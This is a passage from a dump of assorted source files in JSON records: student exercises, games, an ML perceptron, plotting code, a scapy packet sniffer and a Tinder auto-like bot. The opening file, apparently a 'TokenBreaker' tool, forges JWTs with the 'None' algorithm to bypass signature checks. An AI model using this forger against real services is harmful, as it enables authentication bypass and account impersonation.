'[\\033[1m\\033[32m+\\033[0m] \\033[32m'+str(txt)+'\\033[0m'\ndef cool_input(text):\n try:\n _input = raw_input('[\\033[1m\\033[35m<\\033[0m] \\033[35m{}:\\033[0m \\033[3m'.format(text))\n print('\\033[0m', end='')\n return _input\n except KeyboardInterrupt:\n print('\\b\\b \\033[0m')\n print(bad('Exitting via Keyboard Interruption.'))\n exit(0)\n except EOFError:\n print('\\033[0m')\n print(bad('Terminating!'))\n exit(0)\n\ndef banner():\n logo = '\\033[1m ________ _ __\\n/_ __/ / ___ / |/ /__ ___ ___\\n / / / _ \\\\/ -_) / / _ \\\\/ _ \\\\/ -_)\\n/_/ /_//_/\\\\__/ /_/|_/\\\\___/_//_/\\\\__/\\n\\033[0m'\n print(logo)\n\ndef verify_Padding(data):\n missing_padding = len(data) % 4\n if missing_padding != 0:\n data += b'='* (4 - missing_padding)\n return data\n\ndef processTheNoneToken(token):\n header=base64.b64decode(verify_Padding(token.split('.')[0]))\n payload=base64.b64decode(verify_Padding(token.split('.')[1]))\n print(info(\"Decoded Header value: {}\".format(header)))\n print(info(\"Decoded Payload value: {}\".format(payload)))\n header=re.sub('\"alg\":\".{5}\"','\"alg\":\"None\"',header)\n print(info(\"New header value with none algorithm: {}\".format(header)))\n\n modify_response = cool_input(\"Modify Header? [y/N]\")\n if modify_response.lower() == 'y':\n header = cool_input(\"Enter your header with 'alg' field set to 'None'\")\n print(info(\"Header set to: \" + header))\n payload = cool_input(\"Enter your payload\")\n base64header = base64.b64encode(header).rstrip('=')\n base64payload = base64.b64encode(payload).rstrip('=')\n finaljwt = base64header + '.' + base64payload + \".\"\n print(good(\"Successfully encoded Token: {}\".format(finaljwt)))\n\ndef main():\n parser = argparse.ArgumentParser(description='TokenBreaker: 1.TheNoneAlgorithm',\n epilog='Example Usage: \\npython TheNone.py -t [JWTtoken]\\n')\n requiredparser=parser.add_argument_group('required arguments')\n requiredparser.add_argument('-t','--token',help=\"JWT Token value\",required=True)\n args = parser.parse_args()\n banner()\n processTheNoneToken(args.token)\n\nif __name__=='__main__':\n main()\n","sub_path":"TheNone.py","file_name":"TheNone.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"523187184","text":"#soru1\r\nz={1:\"Ocak\",2:\"Şubat\",3:\"Mart\",4:\"Nisan\",5:\"Mayıs \",6:\"Haziran\",7:\"Temmuz\",8:\"Ağustos\",9:\"Eylül\",10:\"Ekim\",11:\"Kasım\",12:\"Aralık\"}\r\ne=int(input(\"Gün giriniz:\"))\r\ny=int(input(\"Ay giriniz:\"))\r\nn=int(input(\"Yıl giriniz:\"))\r\nprint(e,z[y],n)\r\n\r\n#soru2\r\nz=int(input(\"Sayı değerini giriniz:\"))\r\ne=1\r\nfor y in range (z,1,-1):\r\n print(y)\r\n e=e*y\r\nprint(e)\r\nif 9 <= z <16:\r\n y= 2*(e)\r\n print(y)\r\nelse:\r\n if 9 > z >= 0:\r\n n = 3 * e\r\n print(n)\r\n else:\r\n if z <= -1 or 16 < z:\r\n print(\"İşlem yapılamıyor!!!\")\r\n\r\n\r\n#soru3\r\ndef z(e,y):\r\n n= []\r\n for p in range(0,3):\r\n l = 0\r\n for i in range(0,3):\r\n l += e[p][i]*y[p][i]\r\n n.append(l)\r\n print(n)\r\nf = {\"a\":1,\"b\":2,\"c\":3,\"d\":4,\"e\":5,\"f\":6,\"g\":7,\"h\":8,\"i\":9,\"j\":10,\"k\":11,\"l\":12,\"m\":13,\"n\":14,\"o\":15,\"p\":16,\"q\":17,\"r\":18,\"s\":19,\"t\":20,\"u\":21,\"v\":22,\"w\":23,\"x\":24,\"y\":25,\"z\":26}\r\nk= \"zeynepkeskinogluaa\"\r\ne = [[1,2,-1],\r\n [2,5,2],\r\n [-1,-2,2]]\r\ny= []\r\nl=0\r\nfor i in range(0,3):\r\n i+=i\r\nprint(e,y)\r\n\r\n#soru 4\r\nz = []\r\nfor e in range(1, 42):\r\n if e > 1:\r\n for y in range(2, e):\r\n if e % y == 0:\r\n break\r\n else:\r\n z.append(e)\r\nprint(z)","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"476126910","text":"\nclass Solution:\n\n\n #暴力\n def helper(self,nums):\n\n result = []\n\n for i1,n1 in enumerate(nums):\n for i2,n2 in enumerate(nums):\n for i3,n3 in enumerate(nums):\n if i1 != i2 and i2 != i3 and i3 != i1:\n result.append(n1*n2*n3)\n\n\n return max(result)\n\n\n\n\n #技巧法 最大的乘积 有两种可能最大的3个正数 或者最小的两个负数乘以最大的正数\n def helper2(self,nums):\n\n nums = sorted(nums)\n\n r1 = nums[0]*nums[1]*nums[-1]\n r2 = nums[-1]*nums[-2]*nums[-3]\n\n return max(r1,r2)\n\n\n\n\ns = Solution()\nprint(s.helper([1,2,3,4]))\nprint(s.helper2([1,2,3,4]))","sub_path":"leetcode/628.py","file_name":"628.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"237061791","text":"\"\"\" _______\r\n |_TO_DO_|\r\n Be sure to do powerups for guns and stuff\r\n Be shure to start work on a light bike game\r\n SPACE FIGHTERS! Verson 0.1 BETA!\r\n\r\n\r\n\r\n\"\"\"\r\nimport pygame, sys, time, random\r\nfrom pygame.locals import *\r\n\r\npygame.init()\r\n\r\ndisappear = 0\r\nWHITE = (255,255,255)\r\nS1speed = 3\r\nS2speed = 3\r\nSTARTTIME = time.time()\r\nYELLOW = (255,255,0)\r\nRED = (255, 0 ,0)\r\nBLUE = (0, 0, 255)\r\nASTROIDCOLOR = (169, 169, 169)\r\nBACKGROUND = (0,0,0)\r\nWINDOWWIDTH = 1350\r\nWINDOWHEIGHT = 400\r\nASTNUM = 25\r\nwindowSurface = pygame.display.set_mode([WINDOWWIDTH, WINDOWHEIGHT])\r\npygame.display.set_caption('CHAGE THIS LATER')\r\n\r\n#==================================================================#\r\nastspeed = []\r\npowerPill = []\r\nPPnum = 9\r\nastroid = []\r\npower = []\r\nspeedKeep = []\r\nfor i in range(0,ASTNUM):\r\n Ay = random.randrange(0,WINDOWHEIGHT-100)\r\n Ax = random.randrange(60,WINDOWWIDTH-100)#where the astroid is\r\n astroid.append(pygame.Rect(Ax,Ay,70,60))\r\n astspeed.append(random.randrange(1,5))\r\n AstS = random.randrange(20,80)\r\n astroid[i].size = (AstS,AstS)#speaks for itself\r\nfor i in range (0,PPnum):#power pill stuff\r\n Px = random.randrange(100,WINDOWWIDTH-100)\r\n Py = random.randrange(0, WINDOWHEIGHT)\r\n powerPill.append(pygame.Rect(Px,Py,5,5))\r\n # pygame.draw.rect(windowSurface,WHITE, powerPill[i]) \r\n power.append\r\nfor i in range (3,PPnum):\r\n power.append(i)\r\n \r\n#==================================================================#\r\n\r\n\r\nShip1 = pygame.Rect(20, 200,10, 10)\r\nShip2 = pygame.Rect(WINDOWWIDTH - 30,200,10,10)\r\n\r\n\r\npygame.key.set_repeat(50,50)\r\n#================================================================#\r\nwhile True:#Game loop. everything after this has to be indented\r\n currenttime = time.time()\r\n elapsedtime = currenttime -STARTTIME\r\n pygame.display.update()\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n \r\n if event.type is KEYDOWN:\r\n pygame.draw.rect(windowSurface, BACKGROUND, Ship2)\r\n pygame.draw.rect(windowSurface, BACKGROUND, Ship1)\r\n key = pygame.key.name(event.key)\r\n if(key == 'd'):\r\n Ship1.left += S1speed\r\n \r\n elif(key == 's'):\r\n Ship1.bottom += S1speed\r\n if Ship1.bottom >= WINDOWHEIGHT:\r\n Ship1.bottom = WINDOWHEIGHT-2\r\n elif(key == 'a'):\r\n Ship1.left -= S1speed\r\n if Ship1.left <= 0:\r\n Ship1.left = 0 \r\n elif(key == 'w'):\r\n Ship1.bottom -= S1speed\r\n if Ship1.top <= 0:\r\n Ship1.top = 0\r\n if(key == 'right'):\r\n Ship2.left += S2speed\r\n if Ship2.right >= WINDOWWIDTH:\r\n Ship2.right = WINDOWWIDTH - 2\r\n elif(key == 'down'):\r\n Ship2.bottom += S2speed\r\n if Ship2.bottom >= WINDOWHEIGHT:\r\n Ship2.bottom = WINDOWHEIGHT-2\r\n elif(key == 'left'):\r\n Ship2.left -= S2speed\r\n elif(key == 'up'):\r\n Ship2.bottom -= S2speed\r\n if Ship2.top <= 0:\r\n Ship2.top = WINDOWHEIGHT - 400\r\n print(S1speed) \r\n\r\n \r\n\r\n if Ship1.right >= WINDOWWIDTH:\r\n # initialize font; must be called after 'pygame.init()' to avoid 'Font not Initialized' error\r\n myfont = pygame.font.SysFont(0,90)#setting for the font it self\r\n \r\n # render text\r\n label = myfont.render(\"RED SHIP WINS!!!\", 1,RED)#(\"text\",size, color\r\n textrec = label.get_rect()\r\n textrec.top=WINDOWHEIGHT/2#puttting the textrec on the screen\r\n textrec.left=200#above\r\n windowSurface.blit(label,textrec)#putting the text rec onto the surface\r\n pygame.display.update()\r\n time.sleep(5)\r\n pygame.quit()\r\n sys.exit()\r\n if Ship2.left <= 0:\r\n # initialize font; must be called after 'pygame.init()' to avoid 'Font not Initialized' error\r\n myfont2 = pygame.font.SysFont(0,90)#setting for the font it self\r\n \r\n # render text\r\n label = myfont2.render(\"YELLOW SHIP WINS!!!\", 1,YELLOW)#(\"text\",size, color\r\n textrec = label.get_rect()\r\n textrec.top=200#puttting the textrec on the screen\r\n textrec.left=200#above\r\n windowSurface.blit(label,textrec)#putting the text rec onto the surface\r\n pygame.display.update()\r\n time.sleep(5)\r\n pygame.quit()\r\n sys.exit()\r\n \r\n\r\n\r\n\r\n pygame.draw.rect(windowSurface, YELLOW, Ship2)\r\n pygame.draw.rect(windowSurface, RED, Ship1)\r\n \r\n \r\n \r\n #print(astroid.left)\r\n pygame.display.update()\r\n\r\n\r\n #============================================================#\r\n \r\n \r\n\r\n#============================================================================#\r\n powerloc = Ship1.collidelist(powerPill)\r\n if powerloc >= 0:\r\n if power[powerloc] == 1:\r\n S1speed += 1\r\n power[powerloc] = 0\r\n pygame.draw.rect(windowSurface,BACKGROUND,powerPill[powerloc])\r\n\r\n \r\n '''for i in range(0,len(powerPill)):\r\n if power[i] > 0:\r\n pygame.draw.rect(windowSurface,WHITE, powerPill[i]) \r\n'''\r\n\r\n\r\n\r\n \r\n for i in range(0,ASTNUM):\r\n pygame.draw.rect(windowSurface, BACKGROUND, astroid[i])\r\n if astroid[i].top >= WINDOWHEIGHT:\r\n astroid[i].bottom = 0\r\n astroid[i].bottom += astspeed[i]\r\n pygame.draw.rect(windowSurface, ASTROIDCOLOR,astroid[i])\r\n if Ship1.collidelist(astroid) > -1:\r\n pygame.draw.rect(windowSurface, BACKGROUND, Ship1)\r\n Ship1.left = 0\r\n if Ship2.collidelist(astroid) > -1:\r\n pygame.draw.rect(windowSurface, BACKGROUND, Ship2)\r\n Ship2.right = WINDOWWIDTH\r\n powerloc = Ship1.collidelist(powerPill)\r\n # for i in range(0,PPnum):\r\n # pygame.draw.rect(windowSurface, WHITE, powerPill[i])\r\n \r\n powerloc = Ship1.collidelist(powerPill)\r\n if powerloc >= 0:\r\n S1speed += 1\r\n power[powerloc] = 0\r\n\r\n\r\n\r\n time.sleep(.05)\r\n#==============+==+====================================================#\r\n \r\n \r\n \r\n\r\n \r\n#Everything before this i can work in\r\n \r\n \r\n \r\n\r\n\r\n\r\n","sub_path":"Python/SpaceFighters .py","file_name":"SpaceFighters .py","file_ext":"py","file_size_in_byte":6416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"285272392","text":"import tinder_api as api\nimport config\nimport re\nimport time\n\nfb_access_token = config.fb_access_token\nfb_user_id = config.fb_user_id\n\n# Your real config file should simply be named \"config.py\"\n# Just insert your fb_username and fb_password in string format\n# and the fb_auth_token.py module will do the rest!\nprint (fb_access_token)\nprint (fb_user_id)\n\ntinder_auth_token = api.get_auth_token(fb_access_token, fb_user_id)\nprint (tinder_auth_token)\n# print api.authverif(fb_access_token, fb_user_id)\n# print api.get_self()\n\n\ndef findWholeWord(w):\n return re.compile(r'\\b({0})\\b'.format(w), flags=re.IGNORECASE).search\n\nperson_id=''\nlikes_remaining = 1\n\ndef likeAPerson():\n time.sleep(5)\n for key, value in api.get_recommendations().items():\n match = [];\n if(key == \"results\"):\n for person in value:\n rating = 0\n person_id = \"\"\n name = \"\"\n for key, value in person.items():\n if(key == \"_id\"):\n person_id = value\n time.sleep(5)\n if key == 'photos' and value:\n if len(value) >= 2:\n rating += 1\n if key == 'name':\n name = value\n\n if rating > 0:\n print(\"Like on : \",name)\n match = api.like(person_id)\n likes_remaining = match[\"likes_remaining\"]\n if likes_remaining == 0:\n print(\"Acabaram os likes, terminei por hoje\")\n quit(0)\n print(match)\n else:\n print(\"Unlike: \",name)\n\n\n \n\ncount = 10\nwhile count > 0 and likes_remaining > 0:\n print (\"count: \",count)\n likeAPerson()\n count -= 1\n\n\n#matches = api.get_updates()['matches']\n#\n#with open('data.txt', 'w') as outfile:\n# json.dump(matches, outfile)\n\n#ms = api.send_msg(config.match_id, config.msg)\n#print (ms)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"379376011","text":"\"\"\"\nDate created: 5.3.2016\nAuthor: Jiri Burant\n\nScript testing the weather api and geolocation library\n\"\"\"\nimport yaml\nfrom weather import QueryControl\nfrom location import GeoLocation\n\nconfig = yaml.safe_load(open('config.yml'))\n\nname=config['user']['name']\nmail=config['user']['mail']\ntown=config['location']['town']\ncountry=config['location']['country']\n\ngeoLoc=GeoLocation()\nlocation=geoLoc.getLocation(town)\n\nwhile True:\n query=input('Enter query: ');\n\n qc=QueryControl(location.latitude,location.longitude)\n answer=qc.queryControl(query)\n print(answer)\n","sub_path":"examples/queryExample/queryTester.py","file_name":"queryTester.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"640904901","text":"from scapy.all import *\r\n \r\n## Create a Packet Counter\r\ncounter = 0\r\n \r\n## Define our Custom Action function\r\ndef custom_action(packet):\r\n global counter\r\n counter += 1\r\n\r\n packet.display()\r\n \r\n if packet.getlayer(\"Raw\"):\r\n hexdump(packet.getlayer(\"Raw\"))\r\n \r\n## Setup sniff, filtering for IP traffic\r\nsniff(filter=\"ip\", prn=custom_action,store=0)\r\n","sub_path":"packet_sniff.py","file_name":"packet_sniff.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"134432887","text":"from gtnlplib import tagger_base, constants\nfrom collections import defaultdict\n\ndef sp_update(tokens,tags,weights,feat_func,tagger,all_tags):\n \"\"\"compute the structure perceptron update for a single instance\n\n :param tokens: tokens to tag \n :param tags: gold tags\n :param weights: weights\n :param feat_func: local feature function from (tokens,y_m,y_{m-1},m) --> dict of features and counts\n :param tagger: function from (tokens,feat_func,weights,all_tags) --> tag sequence\n :param all_tags: list of all candidate tags\n :returns: updates to weights, which should be added to weights\n :rtype: defaultdict\n\n \"\"\"\n M = len(tags)\n predicted_labels, _ = tagger(tokens,feat_func,weights,all_tags)\n update = defaultdict(float)\n for i in range(len(predicted_labels)):\n if not predicted_labels[i] == tags[i]:\n negative_update = {}\n pos_update = {}\n if i <= 0:\n pos_update = feat_func(tokens, tags[i], constants.START_TAG, i)\n negative_update = feat_func(tokens, predicted_labels[i], constants.START_TAG, i)\n else:\n pos_update = feat_func(tokens, tags[i], tags[i-1], i)\n negative_update = feat_func(tokens, predicted_labels[i], predicted_labels[i-1], i)\n for pair, val in pos_update.iteritems():\n update[pair] += val\n for pair, val in negative_update.iteritems():\n update[pair] -= val\n # end_update = feat_func(tokens, constants.END_TAG, tags[-1], M)\n # for pair, val in end_update.iteritems():\n # update[pair] += val\n return update\n \ndef estimate_perceptron(labeled_instances,feat_func,tagger,N_its,all_tags=None):\n \"\"\"Estimate a structured perceptron\n\n :param labeled instances: list of (token-list, tag-list) tuples, each representing a tagged sentence\n :param feat_func: function from list of words and index to dict of features\n :param tagger: function from list of words, features, weights, and candidate tags to list of tags\n :param N_its: number of training iterations\n :param all_tags: optional list of candidate tags. If not provided, it is computed from the dataset.\n :returns: weight dictionary\n :returns: list of weight dictionaries at each iteration\n :rtype: defaultdict, list\n\n \"\"\"\n \"\"\"\n You can almost copy-paste your perceptron.estimate_avg_perceptron function here. \n The key differences are:\n (1) the input is now a list of (token-list, tag-list) tuples\n (2) call sp_update to compute the update after each instance.\n \"\"\"\n\n # compute all_tags if it's not provided\n if all_tags is None:\n all_tags = set()\n for tokens,tags in labeled_instances:\n all_tags.update(tags)\n\n # this initialization should make sure there isn't a tie for the first prediction\n # this makes it easier to test your code\n weights = defaultdict(float,\n {('NOUN',constants.OFFSET):1e-3})\n\n weight_history = []\n\n # the rest is up to you!\n w_sum = defaultdict(float) #hint\n avg_weights = defaultdict(float)\n # tokens, tags = labeled_instances\n t=0.0 #hint\n for it in xrange(N_its):\n for tokens, tags in labeled_instances:\n curr_update_amount = sp_update(tokens,tags,weights,feat_func,tagger,all_tags)\n for pair, val in curr_update_amount.iteritems():\n weights[pair] += float(val)\n w_sum[pair] += t * float(val)\n t += 1.0\n avg_weights = weights.copy()\n for pair, val in w_sum.iteritems():\n avg_weights[pair] -= (val / t)\n weight_history.append(avg_weights.copy())\n return avg_weights, weight_history\n\n\n\n","sub_path":"psets/ps3/gtnlplib/structure_perceptron.py","file_name":"structure_perceptron.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"457310998","text":"# Zoe Harris & Rachel Lewis\n# Programming Assignment #3\n# CSCE405 Artificial Intelligence\n\nfrom Pit import Pit\n\n\nclass GameBoard:\n\n def __init__(self):\n\n # initialize board, which will be a list of fourteen Pit nodes\n self.board = []\n\n # dictionary of which pits are opposite each other on the board\n self.opposite = {0: 12, 1: 11, 2: 10, 3: 9, 4: 8, 5: 7,\n 12: 0, 11: 1, 10: 2, 9: 3, 8: 4, 7: 5}\n\n # make six pits and a goal for myself\n for i in range(0, 6):\n self.board.append(Pit(3))\n self.board.append(Pit(0))\n self.human_goal = self.board[6]\n\n # make six pits and a goal for opponent\n for i in range(7, 13):\n self.board.append(Pit(3))\n self.board.append(Pit(0))\n self.computer_goal = self.board[13]\n \n # set next for all pits on the board\n for i in range(13):\n self.board[i].next = self.board[i + 1]\n self.board[13].next = self.board[0]\n\n # Method prints the current state of the game board.\n def display(self):\n\n # start with new blank line\n print('')\n\n # print opponent pits\n print(\" \", end='')\n for i in range(12, 6, -1):\n print(f'{self.board[i].seeds} ', end='')\n\n # print both goal pits\n print(f'\\n {self.board[13].seeds} {self.board[6].seeds}')\n\n # print my pits\n print(\" \", end='')\n for i in range(0, 6):\n print(f'{self.board[i].seeds} ', end='')\n\n # end with new blank line\n print('')\n\n def human_capture(self, curr_pit, curr_pit_index):\n # determine if last pit sown was empty and on human side\n if curr_pit.seeds == 0 and 0 <= curr_pit_index <= 5:\n # find the pit opposite the current pit\n opposite_pit = self.board[self.opposite.get(curr_pit_index)]\n # add that pit's seeds to human goal\n self.board[6].seeds += opposite_pit.seeds\n # zero out the opposite pit\n opposite_pit.seeds = 0\n\n def computer_capture(self, curr_pit, curr_pit_index):\n # determine if last pit sown was empty and on computer side\n if curr_pit.seeds == 0 and 7 <= curr_pit_index <= 12:\n # find the pit opposite the current pit\n opposite_pit = self.board[self.opposite.get(curr_pit_index)]\n # add that pit's seeds to computer goal\n self.board[13].seeds += opposite_pit.seeds\n # zero out the opposite pit\n opposite_pit.seeds = 0\n\n # 'Sow' the seeds from the given pit by depositing one seed in each subsequent\n # pit until no seeds are left. A capture method is called so that if the last\n # pit sown was empty, the opponent's seeds will be captured.\n def sow(self, pit):\n\n # determine whether play is human or computer using pit index\n human = False\n computer = False\n\n if 0 <= pit <= 6:\n human = True\n else:\n computer = True\n\n # store the Pit object and index you are starting with\n curr_pit = self.board[pit]\n curr_pit_index = pit\n\n if human:\n for i in range(self.board[pit].seeds):\n if curr_pit_index != 13:\n curr_pit.seeds += 1\n curr_pit = curr_pit.next\n curr_pit_index += 1\n self.human_capture(curr_pit, curr_pit_index)\n\n if computer:\n for i in range(self.board[pit].seeds):\n if curr_pit_index != 6:\n curr_pit.seeds += 1\n curr_pit = curr_pit.next\n curr_pit_index += 1\n self.computer_capture(curr_pit, curr_pit_index)\n\n # add final seed to last pit and zero out starting pit\n curr_pit.seeds += 1\n self.board[pit].seeds = 0\n\n # Determine whether the game of Owari is over: if all six pits on either side are empty\n # then the game is over and 'True' will be returned.\n def game_over(self):\n\n # check if all pits on my side are empty\n my_side_empty = True\n for i in range(0, 6):\n if self.board[i].seeds > 0:\n my_side_empty = False\n\n # check if all opponent pits are empty\n opponent_side_empty = True\n for i in range(7, 13):\n if self.board[i].seeds > 0:\n opponent_side_empty = False\n\n # if all pits on either side are empty, game over\n # if game over, move all seeds into respective goals\n if my_side_empty or opponent_side_empty:\n\n for i in range(6):\n self.board[6].seeds += self.board[i].seeds\n self.board[i].seeds = 0\n\n for i in range(7, 13):\n self.board[13].seeds += self.board[i].seeds\n self.board[i].seeds = 0\n\n return True\n\n else:\n\n return False\n\n def human_seeds(self):\n return self.board[6].seeds\n\n def computer_seeds(self):\n return self.board[13].seeds\n","sub_path":"Owari/GameBoard.py","file_name":"GameBoard.py","file_ext":"py","file_size_in_byte":5078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"297202958","text":"import plotly\nimport plotly.graph_objs as go\nfrom scipy import stats\nimport numpy as np\n\nX_COORDS = []\nY_COORDS = []\n\nDATA = []\n\ndef initialize_coords():\n f= open(\"CityData.txt\",\"r\")\n f1 = f.readlines()\n for i in f1:\n population = float(i[:i.index(\"|\")])\n change = float(i[i.index(\"|\")+1:i.rindex(\"|\")])\n distance = float(i[i.rindex(\"|\")+1:])\n if(population>=600 and population<1000):\n X_COORDS.append(distance)\n Y_COORDS.append(change)\n\n counter = 0\n while counter < len(X_COORDS):\n if X_COORDS[counter] is None or Y_COORDS[counter] is None:\n X_COORDS.pop(counter)\n Y_COORDS.pop(counter)\n else:\n counter += 1\n\ndef linear_regress():\n slope, intercept, r_value, p_value, std_err = stats.linregress(X_COORDS, Y_COORDS)\n DATA.append(go.Scatter(\n x=[0.0, max(X_COORDS)],\n y=[intercept, slope * max(X_COORDS) + intercept],\n mode='lines',\n name=(\"Regression Line Linear, R=\" + str(r_value) + \" \\nEquation is: y=\" + str(slope) +\"x+\" + str(intercept))\n ))\n\ndef format_layout():\n layout = go.Layout(\n hovermode='closest',\n xaxis=dict(\n title=X_AXIS,\n ticklen=5,\n zeroline=False,\n gridwidth=2,\n ),\n yaxis=dict(\n title=Y_AXIS,\n ticklen=5,\n gridwidth=2,\n )\n )\n return layout\n\n#Main\n\n\nglobal X_AXIS, Y_AXIS;\nX_AXIS = \"Distance to Ocean (miles)\";\nY_AXIS = \"Change in Growth from 2017 to 2018\";\n\ninitialize_coords()\nlayout = format_layout()\nDATA.append(go.Scatter(\n x=X_COORDS,\n y=Y_COORDS,\n mode='markers',\n name=\"DataPoints\"\n))\nlinear_regress()\n\nfilename = \"plots/MediumCities.html\"\nplotly.offline.plot({\n \"data\": DATA,\n \"layout\": layout,\n}, auto_open=True, filename=filename)","sub_path":"ScatterplotGraphMedium.py","file_name":"ScatterplotGraphMedium.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"141851701","text":"\"\"\"\nThis is where the implementation of the plugin code goes.\nThe CreateProjectv2-class is imported from both run_plugin.py and run_debug.py\n\"\"\"\nimport json\nimport sys\nimport logging\nimport pandas\nimport openpyxl\nimport glob\nimport time\nfrom datetime import date\nfrom webgme_bindings import PluginBase\nimport requests\nimport base64\nimport supplierLogic\n\n# Setup a logger\nlogger = logging.getLogger(\"CreateProjectv2\")\nlogger.setLevel(logging.INFO)\nhandler = logging.StreamHandler(sys.stdout) # By default it logs to stderr..\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\napac_countries = None\nlatam_countries = None\nsession_token = None\nuser_token = None\nprojectName = \"\"\n\n#A class to save the device_country installation parameters\nclass NodePair:\n def __init__(self,bundleNode,countryNode,siteNode):\n self.bundleNode = bundleNode\n self.countryNode = countryNode\n self.siteNode = siteNode\n self.bundleGroupNode = None\n self.countryGroupNode = None\n self.installCost = 0.0\n self.additionalInstallCost = 0.0\n self.bronzeCost = 0.0\n self.additionalbronzeCost = 0.0\n self.silverCost = 0.0\n self.additionalSilverCost = 0.0\n self.goldCost = 0.0\n self.additionalGoldCost = 0.0\n self.ro_dst_deliveryCost = 0.0\n self.us_ro_deliveryCost = 0.0\n\n def get_bundleNode(self):\n return self.bundleNode\n\n def get_countryNode(self):\n return self.countryNode\n\n def get_siteNode(self):\n return self.siteNode\n\n def get_bundleGroupNode(self):\n return self.bundleGroupNode\n \n def get_countryGroupNode(self):\n return self.countryGroupNode\n\n def get_installCost(self):\n return self.installCost\n\n def get_additionalInstallCost(self):\n return self.additionalInstallCost\n\n def get_bronzeCost(self):\n return self.bronzeCost\n\n def get_additionalBronzeCost(self):\n return self.additionalBronzeCost\n\n def get_silverCost(self):\n return self.silverCost\n\n def get_additionalSilverCost(self):\n return self.additionalSilverCost\n\n def get_goldCost(self):\n return self.goldCost\n\n def get_additionalGoldCost(self):\n return self.additionalGoldCost\n\n def get_Ro_Destination_deliveryCost(self):\n return self.ro_dst_deliveryCost\n \n def get_Us_Ro_deliveryCost(self):\n return self.us_ro_deliveryCost\n\n def set_bundleGroupNode(self, bundleGroupNode):\n self.bundleGroupNode = bundleGroupNode\n\n def set_countryGroupNode(self, countryGroupNode):\n self.countryGroupNode = countryGroupNode\n\n def set_installCost(self, cost):\n self.installCost = cost\n\n def set_additionalInstallCost(self, cost):\n self.additionalInstallCost = cost\n\n def set_bronzeCost(self, cost):\n self.bronzeCost = cost\n \n def set_additionalBronzeCost(self, cost):\n self.additionalBronzeCost = cost\n\n def set_silverCost(self, cost):\n self.silverCost = cost\n \n def set_additionalSilverCost(self, cost):\n self.additionalSilverCost = cost\n \n def set_goldCost(self, cost):\n self.goldCost = cost\n \n def set_additionalGoldCost(self, cost):\n self.additionalGoldCost = cost\n\n def set_Ro_Destination_deliveryCost(self, cost):\n self.ro_dst_deliveryCost = cost\n\n def set_Us_Ro_deliveryCost(self,cost):\n self.us_ro_deliveryCost = cost\n\ndef getPrices(self, nodePair):\n \"\"\"\n This function sets the prices to the nodepair class\n Returns None\n \n TODO refactor to new function get_peer_nodes\n \"\"\"\n\n core = self.core\n path = core.load_instances(self.META[\"UnitPrices\"])[0][\"nodePath\"]\n node = core.load_by_path(self.root_node,path)\n children = core.load_children(node)\n if children:\n for child in children:\n if core.is_connection(child) and core.get_pointer_path(child,\"src\") == nodePair.get_bundleGroupNode()[\"nodePath\"] and core.get_pointer_path(child,\"dst\") == nodePair.get_countryGroupNode()[\"nodePath\"]:\n nodePair.set_installCost(core.get_attribute(child, \"installCost\"))\n nodePair.set_additionalInstallCost(core.get_attribute(child, \"additionalInstallCost\"))\n nodePair.set_bronzeCost(core.get_attribute(child, \"bronzeCost\"))\n nodePair.set_additionalBronzeCost(core.get_attribute(child, \"additionalBronzeCost\"))\n nodePair.set_silverCost(core.get_attribute(child,\"silverCost\"))\n nodePair.set_additionalSilverCost(core.get_attribute(child,\"additionalSilverCost\"))\n nodePair.set_goldCost(core.get_attribute(child,\"goldCost\"))\n nodePair.set_additionalGoldCost(core.get_attribute(child,\"additionalGoldCost\"))\n return\n else:\n print(\"There are no UnitPrices in the database\")\n \n \ndef connect_vendor_bundle_to_site(self, siteNode, projectNode, position_item, site, vendor):\n \"\"\"\n This function creates a copy of the bundle named site[\"Device type\"] and connects it to the node\n Returns None\n\n TODO refactor: add error handling with return types\n \"\"\"\n\n core = self.core\n vendorNodes = core.load_children(self.META[\"Vendors\"])\n if vendorNodes:\n for vendorNode in vendorNodes:\n if core.get_attribute(vendorNode, \"name\") == vendor:\n bundleNodes = core.load_children(vendorNode)\n if bundleNodes:\n for bundleNode in bundleNodes:\n if core.get_attribute(bundleNode, \"name\") == site[\"Device type\"]:\n connection = core.create_child(projectNode, self.META[\"Bundle2Site\"])\n instance = core.create_child(projectNode, bundleNode)\n position_item[\"x\"] -= 200\n core.set_registry(instance, \"position\", position_item)\n core.set_pointer(connection, \"src\", instance)\n core.set_pointer(connection, \"dst\", siteNode)\n return instance\n logger.info(\"There is no bundle named: \" + site[\"Device type\"])\n else:\n logger.info(\"There are no bundles in \" + core.get_attribute(vendorNode, \"name\") + \" vendor\")\n\n logger.info(\"There is no vendor named \" + core.get_attribute(vendorNode, \"name\"))\n else:\n logger.info(\"There are no Vendors in the database\")\n\ndef load_all_countries(self):\n \"\"\"\n This function loads all the countries that webgme contain so we do not have to reload them multiple times\n Returns the list of country nodes if succeds\n None if countries are missing from database\n\n TODO refactor: The requested countries may be added directly to the site so in the future we might no need this function\n \"\"\"\n core = self.core\n regionNodes = core.load_children(self.META[\"Countries\"])\n countryNodes 